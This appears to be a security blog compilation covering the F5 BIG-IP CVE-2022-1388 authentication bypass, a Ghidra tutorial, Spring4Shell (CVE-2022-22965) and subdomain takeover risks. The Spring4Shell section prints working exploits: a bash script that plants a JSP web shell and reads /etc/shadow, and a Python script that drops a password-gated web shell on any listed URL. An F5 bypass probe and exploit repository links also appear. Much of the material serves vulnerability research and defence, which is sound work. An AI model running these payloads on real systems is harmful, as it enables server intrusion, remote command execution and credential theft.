F5 Big Ip RCE (CVE-2022-1388) Vulnerability Analysis

 CVE-2022-1388 is a critical vulnerability (CVSS 9.8) in the management interface of F5 Networks’ BIG-IP solution that enables an unauthenticated attacker to gain remote code execution on the system through bypassing F5’s iControl REST authentication. The vulnerability was first discovered by F5’s internal product security team and disclosed publicly on May 4, 2022. 

What is F5 BIG-IP?

Through a combination of software and hardware, F5 BIG-IP allows the inspection and encryption of traffic passing through a network. It serves as a load balancer, application firewall, and full proxy. F5 BIG-IP is widely adopted and is one of the most commonly exposed services seen across Randori customer attack surfaces. According to F5, BIG-IP is used by 48 of the Fortune 50 and there are more than 16,000 instances of BIG-IP discoverable by Shodan; however, the management  interface needed to exploit this vulnerability is rarely internet-facing or publicly exposed. 

Is CVE-2022-1388 Exploitable?

Yes. The Randori Attack Team has developed a working exploit and has been able to successfully leverage this vulnerability as part of our offensive security platform. Randori has also released a bash one-liner that can be run to determine if a specific instance of BIG-IP is exploitable.

From our research, the Randori Attack Team is able to confirm F5’s assessment that this vulnerability can be used by an “unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services.”

Exploits:-

1. https://github.com/bytecaps/CVE-2022-1388-EXP
2. https://github.com/sherlocksecurity/CVE-2022-1388_F5_BIG-IP_RCE
3. https://github.com/numanturle/CVE-2022-1388

Analysis

The iControl REST API is used to instrument the BIG-IP server, automate tasks, monitor the system, and more. The API is exposed on the management interface and should not be exposed to the Internet. 

To understand the root cause of CVE-2022-1388, first the authorization model of the iControl REST interface must be explained. From the iControl API documentation:

“…a user automatically has access to REST resources, but all user [sic] must acquire a token for authentication and include that token in all REST requests. Administrators of a BIG-IP® system can still make REST requests by using basic authentication. As an administrator of a BIG-IP® system, you can use the basic authentication to make iControl REST calls. For users that lack administrator privileges, the user must request a token that can be used to authenticate the user making REST API requests.”

The above defines two modes of authentication: token-based and HTTP Basic. It also highlights that the HTTP Basic mode of authentication is reserved for Administrators, whereas users are relegated to token-based methods. 

From an external perspective, connections made to iControl REST over HTTP are handled by a frontend Apache web server on port 443. This server is responsible for routing requests to the appropriate internal services. To reach the iControl REST service, a requested path must begin with /mgmt which will inform Apache to forward the message to an internal Jetty web server listening locally on port 8100.

This Jetty web server will authenticate requests that appear to originate externally and provide a token in the form of an X-F5-Auth-Token header upon success, which must be used in all subsequent communication. If a request is received by the external Apache server with this present, Apache will assume that Jetty will verify the token value and forwards along the header. 

From the Jetty server’s perspective, if a request is received without the X-F5-Auth-Token, it is assumed to be administrative and only the username of the HTTP Basic header will be verified to match either admin or root (per Vulnerability Analyst Will Dormann). These are the credentials that were observed to be hardcoded into the application for use to send trusted requests.

CVE-2022-1388 arises out of the combination of the above trust relationships and a small detail in the HTTP specification. The HTTP 1.1 specification is defined in RFC 2616. The specific section of interest for exploiting CVE-2022-1388 is contained within Section 14.10 in the description of the Connection request header:

“HTTP/1.1 proxies MUST parse the Connection header field before a message is forwarded and, for each connection-token in this field, remove any header field(s) from the message with the same name as the connection-token.”

The above applies to F5 BIG-IP, as the Apache server is acting as a reverse proxy for the backend Jetty application. This allows attackers to remove specific headers from the request that is forwarded between Apache and Jetty by naming them in the Connection header. For example, specifying the following will strip the X-F5-Auth-Token from proxied requests:

1

Connection: X-F5-Auth-Token

A remote attacker that specifies the above header value while making requests to the external Apache server will be treated as administrative from the perspective of Jetty.

Additionally, the Jetty application tracks the source of requests based on the X-Forwarded-For and X-Forwarded-Host headers. By including X-Forwarded-Host in the Connection header, the X-Forwarded-Host header will also be stripped:

1

Connection: X-F5-Auth-Token, X-Forwarded-Host

This will blind Jetty to the fact that the request has been forwarded by Apache, and the request will be treated as though it was made from a local perspective.

The mitigation provided by F5 in their initial announcement essentially disallows any value in the Connection header other than “keep-alive” or “close” which effectively addresses the issue in lieu of a patch:

1

<If \"%{HTTP:connection} =~ /close/i \">

2

RequestHeader set connection close

3

</If>

4

<ElseIf \"%{HTTP:connection} =~ /keep-alive/i \">

5

RequestHeader set connection keep-alive

6

</ElseIf>

7

<Else>

8

RequestHeader set connection close

9

</Else>

The specific interface needed to exploit this vulnerability is rarely publicly exposed, and the risk to most organizations of exploitation by an unauthenticated external actor is low. 

How do I know if I’m vulnerable to CVE-2022-1388? 

For organizations looking to understand if their F5 BIG-IP instances are vulnerable to exploitation, Randori has released a bash one-liner they can run to determine if a specific instance of BIG-IP is exploitable. 

Replace ADDRESS with the host to test:

1

HOST=ADDRESS; if curl -s https://$HOST/mgmt/tm \

2

--insecure \

3

-H "Authorization: Basic YWRtaW46" \

4

-H "X-F5-Auth-Token: 1" \

5

-H "Connection: X-Forwarded-Host, X-F5-Auth-Token" \

6

-H "Content-Length: 0" | grep -q "\"items\":\["; then printf "\n[*] $HOST is vulnerable\n"; else printf "\n[*] $HOST doesn't appear vulnerable\n"; fi

7

Example Output:

8

​

9

$ HOST=192.168.255.2; if curl -s https://$HOST/mgmt/tm --insecure -H "Authorization: Basic YWRtaW46" -H "X-F5-Auth-Token: 1" -H "Connection: X-Forwarded-Host, X-F5-Auth-Token" -H "Content-Length: 0" | grep -q "\"items\":\["; then printf "\n[*] $HOST is vulnerable\n"; else printf "\n[*] $HOST doesn't appear vulnerable\n"; fi

10

​

11

[*] 192.168.255.2 is vulnerable

12

​

13

$

How can I protect myself against CVE-2022-1388?

Randori encourages all organizations running an impacted version of F5 BIG-IP to upgrade to the latest patched version. 

If patching the system is not possible, Randori recommends organizations

• Block iControl REST access through the self IP address
• Block iControl REST access through the management interface
• Modify the BIG-IP httpd configuration

Read More

Ghidra — Reverse Engineering Tool used by NSA

What is Ghidra ?

Ghidra is an open-source software reverse engineering (SRE) framework developed by National Security Agency (NSA) Research Directorate of United States, for NSA’s Cyberseurity mission.

The binaries were released at RSA Conference in March 2019; the sources were published one month later on GitHub. Ghidra is seen by many security researchers as a competitor to IDA Pro. The software is written in Java using the Swing framework for the GUI. The decompiler component is written in C++. Ghidra plugins can be developed in Java or in Python (provided via Jython).

It is a Java based GUI reverse engineering framework, it is able to de-compile a application from binary and understand the logic of the code. NSA used it to find malwares inside a application, it also very useful for finding bugs on applications.

How to Install Ghidra on Kali Linux 2022

We just need one command to install it on our Kali Linux system. We need to use following command:

1

sudo apt install -y ghidra

The above command will install Ghidra on our Kali Linux system. It will download more than 250 MB and take almost 750 MB disk space on our system. So installing it will consume some time depending on our network speed and system configuration. Coffee Break .

How to use Ghidra on Kali Linux

After installing Ghidra on our Kali Linux system we can open this GUI based tool by using following command to open it up:

1

ghidra

The above command will open Ghidra on our Kali Linux system, or we can search for it on Application menu. As we can see on the following screenshot:

Here Ghidra is showing us the “User agreement” to use this tool. We need to read it carefully then click on “I agree” for the very first time of using Ghidra.

After clicking on ‘I agree’ Ghidra will open two window, one for help another is the Ghidra framework’s main screen, we can check the help if we want, but here we close it and focus on Ghidra. It looks like the following screenshot:

Here we can see that we don’t have any active project on our Ghidra. So we need to import a project. We have an exe file here to test. First of all we need to go to  the menu File>New Project, Then we need to select our new project type, here we are choosing non-shared project.

We click on “Next”, now we need to select the project location and name. We have chosen the default home path and named the project as we wish. Then we click on “Finish”, to complete creating a new project.

We can import an application file. For an example we have an exe file. We can directly drag & drop the application file over the project or we can simply press I to import application file for testing, We can also choose from menu File>Import File.

Then we need to choose application file to test as shown in the following screenshot:

Here we have choose an shell.exe file for testing. We select it to import.

We can see some details of importing file, we click on “OK“.

Here in this window we can see the import file summary on Ghidra. We press ‘Enter‘ key here.

Now Ghidra will import the file and prompt to analyze the application file on CodeBrowser.

We click on “Yes“. Then on a new window we need to select analyzers. There are lots of analysis configuration options do exist. We can see a description of every option by clicking on it, the description is displayed in the upper-right Description section.

Let’s click on Analyze to perform the analysis of the file. Then, we can see the Ghidra CodeBrowser window. We shouldn’t worry if we forget to analyze something, we can reanalyze the program later (by going to the Analysis tab and then Auto Analyze ‘shell.exe’).

Ghidra CodeBrowser

Here we are in Ghidra CodeBrowser. From here we can analysis application data and logic. Ghidra CodeBrowser has a good and well-chosen interface. Let’s briefly know about it.

Let’s see how CodeBrowser is distributed by default:

1. Usually, by default in reverse engineering frameworks, in the center of the screen, Ghidra shows a disassembly view of the application file.
2. As the disassembly level is sometimes a too low-level perspective, Ghidra incorporates its own de-compiler, which is located to the right of the disassembly window. The main function of the program was recognized by a Ghidra signature, and then parameters were automatically generated. Ghidra also allow us to manipulate de-compiled code in a lot of aspects. Of course, a hexadecimal view of the file is also available in the corresponding tab. These three windows (disassembly, de-compiler, and the hexadecimal window) are synchronized, offering different perspectives of the same thing.
3. Ghidra also allow us to easily navigate in the program. For instance, to go to another program section, we can refer to the Program Trees window located in the upper-left margin of CodeBrowser.
4. If we prefer to navigate to a symbol (for example, a program function), then we need to go just below that, to where the Symbols Tree pane is located.
5. If we want to work with data types, then we need to go just below that again, to Data Type Manager.
6. As Ghidra allows scripting reverse engineering tasks, script results are shown in the corresponding window at the bottom. Of-course, the Bookmarks tab is available in the same position, allowing us to create pretty well-documented and organized bookmarks of any memory location for quick access.
7. Ghidra has also a quick access bar at the top.
8. At the topmost part of CodeBrowser, the main bar is located. Now we know the default perspective of Ghidra.
9. Following the current address, the current function is shown.
10. In addition to the current address and the current function, the current disassembly line is shown to complete the contextual information.
11. Finally, at the bottom right, the first field indicates the current address.

Ghidra is highly customizable framework. It has tons of features and also we can run our own scripts on it. Covering every details of Ghidra is not possible on an article. Ghidra is a huge topic we must need an entire book to learn it clearly.

Read More

Spring4Shell: Spring Core RCE 0-day Vulnerability

Vulnerability Details and Investigation

As one of the world’s most popular Java lightweight open-source framework, Spring allows developers to focus on business logic and simplifies the development cycle of Java enterprise applications.

Exploitation requires an endpoint with DataBinder enabled (e.g. a POST request that decodes data from the request body automatically) and depends heavily on the servlet container for the application. For example, when Spring is deployed to Apache Tomcat, the WebAppClassLoader is accessible, which allows an attacker to call getters and setters to ultimately write a malicious JSP file to disk. However, if Spring is deployed using the Embedded Tomcat Servlet Container the classloader is a LaunchedURLClassLoader which has limited access.

However, in the JDK9 version (and above) of the Spring framework, a remote attacker can obtain the AccessLogValve object and malicious field values through the parameter binding function of the framework on the basis of meeting certain conditions, thereby triggering the pipeline mechanism and writing arbitrary fields. file in the path.

• It is currently known that triggering this vulnerability requires two basic conditions:
• Use the Spring MVC framework &  JDK9 and above

(1). Check the JDK version number 

On the running server of the organization system, run the “java -version” command to check the running JDK version. If the version number is less than or equal to 8, it is not affected by the vulnerability.

(2). Check for Spring framework usage

1. If the organization system project is deployed in the form of a war package, follow the steps below to judge.

• Unzip the war package: Change the suffix of the war file to .zip and unzip the zip file
• Search for a jar file in spring-beans-*.jar format (for example, spring-beans-5.3.16.jar) in the decompression directory. If it exists, it means that the business system is developed using the spring framework.
• If the spring-beans-*.jar file does not exist, search for the existence of the CachedIntrospectionResuLts.class file in the decompression directory. If it exists, it means that the business system is developed using the Spring framework.

2. If the organization system project runs directly and independently in the form of a jar package, judge according to the following steps.

• Unzip the jar package: Change the suffix of the jar file to .zip, and unzip the zip file.
• Search for a jar file in spring-beans-*.jar format (for example, spring-beans-5.3.16.jar) in the decompression directory. If it exists, it means that the business system is developed using the spring framework.
• If the spring-beans-*.jar file does not exist, search for the existence of the CachedIntrospectionResuLts.class file in the decompression directory. If it exists, it means that the business system is developed using the spring framework.

(3) Comprehensive Investigation

After completing the above two steps of troubleshooting, the following two conditions are met at the same time to determine that it is affected by this vulnerability:

1. JDK version number is 9 and above;
2. using the spring framework or derived framework.

WAF protection

On network protection devices such as WAF, implement rule filtering for strings such as “class.*”, “Class.*”, “*.class.*”, and “*.Class.*” according to the actual traffic situation of deployed services. After filtering the rules, test the business operation to avoid additional impact.

Spring4Shell Vulnerability Scanner

Exploit:-

1.bash

#!/usr/bin/env bash

echo "[+] Starting Tomcat 9.0 server with Spring Boot application vulnerable to Spring4Shell..."

docker-compose up -d

echo "[+] Waiting 10 seconds for server to start..."

sleep 10

echo "[SERVER][+] webapps/ROOT dir before exploit"

docker-compose exec app ls webapps/ROOT

echo

echo "[+] Exploiting Spring4Shell vulnerability in server: http://localhost:8080/helloworld/greeting"

curl -H "prefix:<%" -H "suffix:%>//" -H "c:Runtime" -H "Content-Type: application/x-www-form-urlencoded" -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8080/helloworld/greeting

echo

echo

echo "[SERVER][+] webapps/ROOT dir after exploit, should include shell.jsp"

docker-compose exec app ls webapps/ROOT

echo

echo "[+] Shell is now accessible at: http://localhost:8080/shell.jsp?cmd=<cmd>"

echo "[+] Waiting 10 seconds..."

sleep 10

echo "[+] Running command: http://localhost:8080/shell.jsp?cmd=id"

curl --output - http://localhost:8080/shell.jsp?cmd=id

echo

echo "[+] Running command: http://localhost:8080/shell.jsp?cmd=cat /etc/shadow"

curl --output - "http://localhost:8080/shell.jsp?cmd=cat%20/etc/shadow"

echo

echo "[+] Running command: http://localhost:8080/shell.jsp?cmd=cat /flag"

curl --output - "http://localhost:8080/shell.jsp?cmd=cat%20/flag"

echo

docker-compose kill && docker-compose rm -f 

2.python

#coding:utf-8

import requests

import argparse

from urllib.parse import urljoin

def Exploit(url):

    headers = {"suffix":"%>//",

                "c1":"Runtime",

                "c2":"<%",

                "DNT":"1",

                "Content-Type":"application/x-www-form-urlencoded"

    }

    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    try:

        go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)

        shellurl = urljoin(url, 'tomcatwar.jsp')

        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)

        if shellgo.status_code == 200:

            print(f"漏洞存在，shell地址为:{shellurl}?pwd=j&cmd=whoami")

    except Exception as e:

        print(e)

        pass

def main():

    parser = argparse.ArgumentParser(description='Srping-Core Rce.')

    parser.add_argument('--file',help='url file',required=False)

    parser.add_argument('--url',help='target url',required=False)

    args = parser.parse_args()

    if args.url:

        Exploit(args.url)

    if args.file:

        with open (args.file) as f:

            for i in f.readlines():

                i = i.strip()

                Exploit(i)

if __name__ == '__main__':

    main()

1. spring4shell-scan

A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud RCE vulnerabilities

Link:- https://github.com/fullhunt/spring4shell-scan

2. Nmap Script

CVE-2022-22965.nse

description = [[

Spring Framework 5.2.x / 5.3.x CVE-2022-22965 Remote Code Execution Vulnerability

This script looks the existence of CVE-2022-22965 Spring Framework 5.2.x / 5.3.x RCE 

uses a payload "/?class.module.classLoader.definedPackages%5B0%5D=0" through a GET request

looking (400) code as response (NON INTRUSIVE)

Inspired by:

@Twitter thread

The following non-malicious request can be used to test susceptibility to the @springframework 0day RCE. An HTTP 400 return code indicates vulnerability.$ curl host:port/path?class.module.classLoader.URLs%5B0%5D=0#SpringShell #Spring4Shell #infosec— Randori Attack Team (@RandoriAttack) March 30, 2022

@ZAP Scan Rule  

https://www.zaproxy.org/blog/2022-04-04-spring4shell-detection-with-zap/

Manual inspection: 

# curl -i -s -k -X $'GET' 

-H $'Host: <target>' 

-H $'User-Agent: alex666'  

-H $'Connection: close' 

$'https://<target>/path/foo/?class.module.classLoader.URLs%5B0%5D=0' | grep -i 400

# curl -i -s -k -X $'GET' 

-H $'Host: <target>' 

-H $'User-Agent: alex666'  

-H $'Connection: close' 

$'https://<target>/path/foo/?class.module.classLoader.definedPackages%5B0%5D=0' | grep -i 400

References:

https://github.com/alt3kx/CVE-2022-22965

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965 

https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities

https://github.com/BobTheShoplifter/Spring4Shell-POC

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework

]]

---

-- @usage

-- nmap -p <port> --script=./CVE-2022-22965.nse [--script-args 'CVE-2022-22965.path=<PATH>,CVE-2022-22965.method=<HTTP METHOD>'] <target>

-- @args CVE-2022-22965.path URI path to test; must be a valid path that accepts one or more parameters using data binding (default: <code>/</code>).

-- @args CVE-2022-22965.method HTTP request method to use (default: <code>GET</code>).

-- 

-- @examples:

-- nmap -p443,8080 --script=./CVE-2022-22965.nse <target> -Pn

-- nmap -p443,8080 --script=./CVE-2022-22965.nse <target> --script-args 'CVE-2022-22965.path="/path/to/test"' -Pn

-- nmap -p443,8080 --script=./CVE-2022-22965.nse <target> --script-args 'CVE-2022-22965.path="/path/to/test",CVE-2022-22965.method=POST' -Pn

-- nmap -p443,8080 --script=./CVE-2022-22965.nse <target> --script-args=CVE-2022-22965.path="/path/foo/download/" -Pn --script-trace | more

-- nmap -p443,8080 --script=./CVE-2022-22965.nse --script-args=CVE-2022-22965.path="/examples/" -Pn -iL targets.txt

-- 

-- @output

-- PORT    STATE SERVICE

-- 443/tcp open  https

-- | CVE-2022-22965: 

-- |   VULNERABLE:

-- |   Spring Framework 5.2.x 5.3.x RCE

-- |     State: VULNERABLE (Exploitable)

-- |     IDs:  CVE:CVE-2022-22965

-- |       Within Spring Core, A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable 

-- |       to remote code execution (RCE) via data binding.

-- |     Disclosure date: 2022-03-31

-- |     References:

-- |_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965

author = "Alex Hernandez aka alt3kx <alt3kx@protonmail.com>"

license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

categories = {"vuln", "exploit"}

local shortport = require "shortport"

local http = require "http"

local stdnse = require "stdnse"

local string = require "string"

local vulns = require "vulns"

portrule = shortport.http

local S4S1 = "Tomcat"

local S4S2 = "springframework"

local S4S3 = "Tomcat"

local S4S4 = "Tomcat"

--Payloads: 

--GET checker path2 = "/?class.module.classLoader.DefaultAssertionStatus=nosense"

--GET checker path1 = "/?class.module.classLoader.URLs%5B0%5D=0"

local S4S_PAYLOAD = "class.module.classLoader.definedPackages%5B0%5D=0"

action = function(host, port)

    local vuln = {

        title = "Spring Framework 5.2.x 5.3.x RCE",

        state = vulns.STATE.NOT_VULN,

        IDS = { CVE = 'CVE-2022-22965' },

description = [[

Within Spring Core, A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable 

to remote code execution (RCE) via data binding.]], 

references = {

           'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965'

       },

       dates = {

           disclosure = {year = '2022', month = '03', day = '31'},

       },

    }   

    

    local report = vulns.Report:new(SCRIPT_NAME, host, port)

    local method = string.upper(stdnse.get_script_args("CVE-2022-22965.method") or "GET")

    local path = stdnse.get_script_args("CVE-2022-22965.path") or "/"

    local options = {header={["Content-Type"]="application/x-www-form-urlencoded"}}

    if method == "GET" then

        path = path .. "?" .. S4S_PAYLOAD

    else

        options["content"] = S4S_PAYLOAD

    end

    local response = http.generic_request(host, port, method, path, options)

    if response.status and response.body then 

      if response.status == 400 and string.find(response.body, S4S1) ~= nil then  

          stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned 400")

          vuln.state = vulns.STATE.EXPLOIT

        end 

        --500 Internal Server Error , Spring Framework 5.2.x / 5.3.x Exceptions 

        if response.status == 500 and string.find(response.body, S4S2) ~= nil then  

            stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned 500")

            vuln.state = vulns.STATE.EXPLOIT

          end 

        

        if response.status == 200 and string.find(response.body, S4S3) ~= nil then  

        

            stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned 200")

            vuln.state = vulns.STATE.NOT_VULN

        end

        if response.status == 404 and string.find(response.body, S4S4) ~= nil then  

        

            stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned 404")

            vuln.state = vulns.STATE.NOT_VULN

        end

        else 

          stdnse.debug2("Apache Tomcat Spring Framework 5.2.x / 5.3.x returned unknow response.")

          vuln.state = vulns.STATE.UNKNOWN

    end

    return report:make_output (vuln)

end

Read More

Subdomain Takeover |HackerOne |Owasp | Subdomain Takeover Tools

Domain takeover

If you discover some domain (domain.tld) that is being used by some service inside the scope but the company has lost the ownership of it, you can try to register it (if cheap enough) and let know the company. If this domain is receiving some sensitive information like a sessions cookie via GET parameter or in the Referer header, this is for sure a vulnerability.

Subdomain takeover

A subdomain of the company is pointing to a third-party service with a name not registered. If you can create an account in this third party service and register the name being in use, you can perform the subdomain take over.

Subdomain takeover Tools

There are several tools with dictionaries to check for possible takeovers:

• https://github.com/EdOverflow/can-i-take-over-xyz
• https://github.com/haccer/subjack
• https://github.com/anshumanbh/tko-sub
• https://github.com/ArifulProtik/sub-domain-takeover
• https://github.com/SaadAhmedx/Subdomain-Takeover
• https://github.com/Ice3man543/SubOver
• https://github.com/m4ll0k/takeover
• https://github.com/antichown/subdomain-takeover

Exploiting a Subdomain takeover

the concept is now generally well-understood, I noticed that people usually struggle to grasp the risks that subdomain takeover brings to the table. In this post, I go in-depth and cover the most notable risks of subdomain takeover from my perspective.

Note: Some risks are mitigated implicitly by the cloud provider. For instance, when subdomain takeover is possible on Amazon CloudFront, there is no way you can set up TXT records to bypass SPF checks. The post, therefore, aims to provide risks on general subdomain takeover. Nevertheless, most of these apply to cloud providers as well.

Transparency To a Browser

To start off, let’s look at DNS resolution where CNAME is involved:

DNS resolution

Note that step #7 requests sub.example.com rather than anotherdomain.com. That is because the web browser is not aware that anotherdomain.com even exist. Even though CNAME record is used, the URL bar in the browser still contains sub.example.com. This is the transparency for the browser. If you think about that, the browser places all the trust in the DNS resolver to provide accurate information about the domain.

Simplified, subdomain takeover is a DNS spoofing for one particular domain across the Internet. Why? Because any browser performing the DNS resolution on affected domain receives A record set by an attacker. The browser then happily shows whatever is received from this server (thinking that is legitimate).Such a domain makes a perfect scenario for phishing. Attackers are often using typosquatting or so-called Doppelganger domains to mimic the legitimate domain/website for phishing purposes. After an attacker takes over some legitimate domain name, it is almost impossible for a regular user to tell whether the content on the domain is provided by a legitimate party or an attacker. Let’s take for instance a random bank.

If one of the bank’s subdomains is vulnerable to subdomain takeover, an attacker can create an HTML form which mimics the login form to the bank’s internet banking system. Then, an attacker can run spear phishing or mass phishing campaign asking users to log in to and change their passwords. At this stage, the passwords are captured by an attacker who is in control of the domain in question. The URL provided in the phishing e-mail is a legitimate subdomain of a bank. Therefore users are not aware of something malicious going on.

Spam filters and other security measurements are also less likely to trigger the e-mail as spam or malicious because it contains domain names with higher trust.Indeed, the domain name itself place a significant role in a successful campaign. Having 5th level subdomain vulnerable to subdomain takeover is much less “legit” that having a 2nd level subdomain with some friendly subdomain name. I saw several instances of perfect subdomains for phishing, including:

• purchases.SOMETHING.com

• http://www.SOMETHING.com

• online.SOMETHING.com

• shop.SOMETHING.com

All of them vulnerable to subdomain takeover. All of them were big brands. Talking about perfect phishing?

Nevertheless, recent phishing campaigns host content on domains with long domain names that include name of the brand (see Apple example). Having valid SSL certificate (more on that below), keyword in domain name and website which mimics the website of targeted brand, people tend to fall into these attacks. Think about chances with a legitimate subdomain of this brand.

Cookie Stealing

This goes hand-in-hand with browser transparency but has different consequences. Web browser implements many security policies to prevent malicious websites from causing harm. This includes things such as Same-origin policy. One of the primary security responsibilities of a browser is to secure saved cookies. Why? While HTTP is a stateless protocol, cookies are used to track sessions. For convenience, users often save cookies for an extended period to prevent logging in every single time. These cookies, therefore, act as a login token which is presented to the web server and the user is identified. Attacks such as Session hijacking naturally evolved from this concept.

The browser automatically presents stored to cookies with every request to the domain that issued them. There is an exception to that such that cookies might be shared across subdomains (read here, also notice section 8.7). It usually happens when the website uses cookie-based Single sign-on (SSO) system. Using SSO, a user can log in using one subdomain and share the same session token across a wide range of subdomains. The syntax for setting a regular cookie is the following:

1

HTTP/1.1 200 OK

2

Set-Cookie: name=value

If this cookie is issued by web server residing on example.com, only this server can access this cookie later on. However, the cookie can be issued for wildcard domain (for the reasons explained above) in the following manner:

1

HTTP/1.1 200 OK

2

Set-Cookie: name=value; domain=example.com

The cookie will be included in HTTP requests to example.com but also to any other subdomain such as subdomain.example.com. This behavior creates a possibility of high severity attacks using subdomain takeover. Suppose that some particular domain is using session cookies for wildcard domain. If there is one subdomain vulnerable to subdomain takeover, the only thing for gathering user’s session token is to trick him or her into visiting the vulnerable subdomain. The session cookie is automatically sent with the HTTP request.

The browser also implements additional security mechanisms for cookies:

• HttpOnly cookie — Cookies can by default be accessed by Javascript code running in the context of the website which created the cookies. Javascript can read, update, and delete the cookies. HttpOnly cookie flag (set by the web server) indicates that the particular cookie cannot be accessed by Javascript code. The only way to get it is through HTTP request and response headers.

• Secure cookie — When the cookie has the Secure flag set by the web server, it can be communicated back to the web server only if HTTPS is used.

If the domain is vulnerable to subdomain takeover, an attacker can gather cookies issued by that domain in the past just by tricking users into visiting that website. HttpOnly and Secure flags don’t help since the cookie is not being accessed using Javascript and SSL certificate can be easily generated for the taken domain.

Cookie stealing using takeover was explained in bug bounty report by Arne Swinnen. The report explains the problem with one of the Ubiquiti Networks subdomains (ping.ubnt.com). This subdomain was vulnerable to subdomain takeover, pointing to unclaimed AWS CloudFront distribution. Since Ubiquiti Networks is using SSO with wildcard session cookies, all users visiting ping.ubnt.com could have their session cookies stolen. Even though this domain is pointing to AWS CloudFront, CloudFront distribution settings allow logging cookies with each request. Therefore the scenario with extracting session cookies is entirely possible even with subdomains pointing to AWS CloudFront. In 2017, Arne also demonstrated similar attack vector against Uber’s SSO system.

The behavior explained above is not limited to cookies. Since Javascript scripts have full control over the websites, they are run on, having ability to replace such scripts on the legitimate website might lead to catastrophic consequences. Suppose that website is using Javascript code from the external provider using script tag and src attribute. When the domain of external provider expires, the browser fails silently, i.e., it doesn’t trigger any alerts visible to regular users. If the external code is not doing any important stuff (e.g., it is used only for tracking) such external provider might stay on the website for an extended period. An attacker can take over this expired domain, match the URL path of provided Javascript code and thus gain control over every visitor that visits the original website.

There is, however, one way of protecting the integrity of Javascript files in a browser. Subresource Integritywas proposed as a mechanism to include cryptographic hash as an attribute integrity to script tag in HTML5. When the provided cryptographic hash does not match the download file, the browser refuses to execute it.

E-mails

When CNAME subdomain takeover is possible, MX records can be set up by an attacker to an arbitrary web server as well. It allows receiving e-mails to a legitimate subdomain of some brand – particularly useful again in (spear) phishing attacks where interaction between an attacker and victim is necessary. Attackers usually spoof Return-Path header to receive a reply to the e-mail. With correct MX records, this problem is bypassed.

On the other side, sending e-mails is also possible. Although it is trivial to spoof From header to include any e-mail addresses, SPF filters are usually checking Return-Path header and allowed mail-sending hosts for the domain. SPF stores configuration in DNS TXT records. With subdomain takeover, TXT records are in control of attacker too – SPF checks can be passed easily.

As I noted in the beginning, these tactics usually don’t work with majority of cloud providers since you don’t have control over DNS zone directly.

Higher Order Risks

The concept of subdomain takeover can be naturally extended to NS records: If the base domain of at least one NS record is available for registration, the source domain name is vulnerable to subdomain takeover.One of the problems in subdomain takeover using NS record is that the source domain name usually has multiple NS records. Multiple NS records are used for redundancy and load balancing.

The nameserver is chosen randomly before DNS resolution. Suppose that the domain sub.example.com has two NS records: ns.vulnerable.com and ns.nonvulnerable.com. If an attacker takes over the ns.vulnerable.com, the situation from perspective of the user who queries sub.example.com looks as follows:

• Since there are two nameservers, one is randomly chosen. This means the probability of querying nameserver controlled by an attacker is 50%.

• If user’s DNS resolver chooses ns.nonvulnerable.com (legitimate nameserver), the correct result is returned and likely being cached somewhere between 6 and 24 hours.

• If user’s DNS resolver chooses ns.vulnerable.com (nameserver owned by an attacker), an attacker might provide a fake result which will also be cached. Since an attacker is in control of nameserver, she can set TTL for this particular result to be for example one week.

The process above is repeated every time the cache entry expires. When an attacker chooses to use TTL with high value, the fake result will stay in DNS cache for that period. During this time, all requests to sub.example.com will use fake DNS result cached by an attacker. This idea is even amplified when public DNS resolvers (e.g., Google DNS) are used. In this case, public resolvers are likely to cache the fake results which means that all users using the same DNS resolver will obtain fake results until the cache is revoked.

In addition to control over the source domain name, control over all higher-level domains of source domain name is gained as well. That is because owning a canonical domain name of NS record means owning the full DNS zone of the source domain name.

In 2016, Matthew Bryant demonstrated a subdomain takeover using NS record on maris.int. The .INT top-level domain is a special TLD, and the only handful of domains are using it. Bryant showed that even though registration of such domain names is approved exclusively by IANA, nameservers can be set to arbitrary domains. Since one of maris.int nameservers was available for registration (cobalt.aliis.be), subdomain takeover was possible even on this restricted TLD.

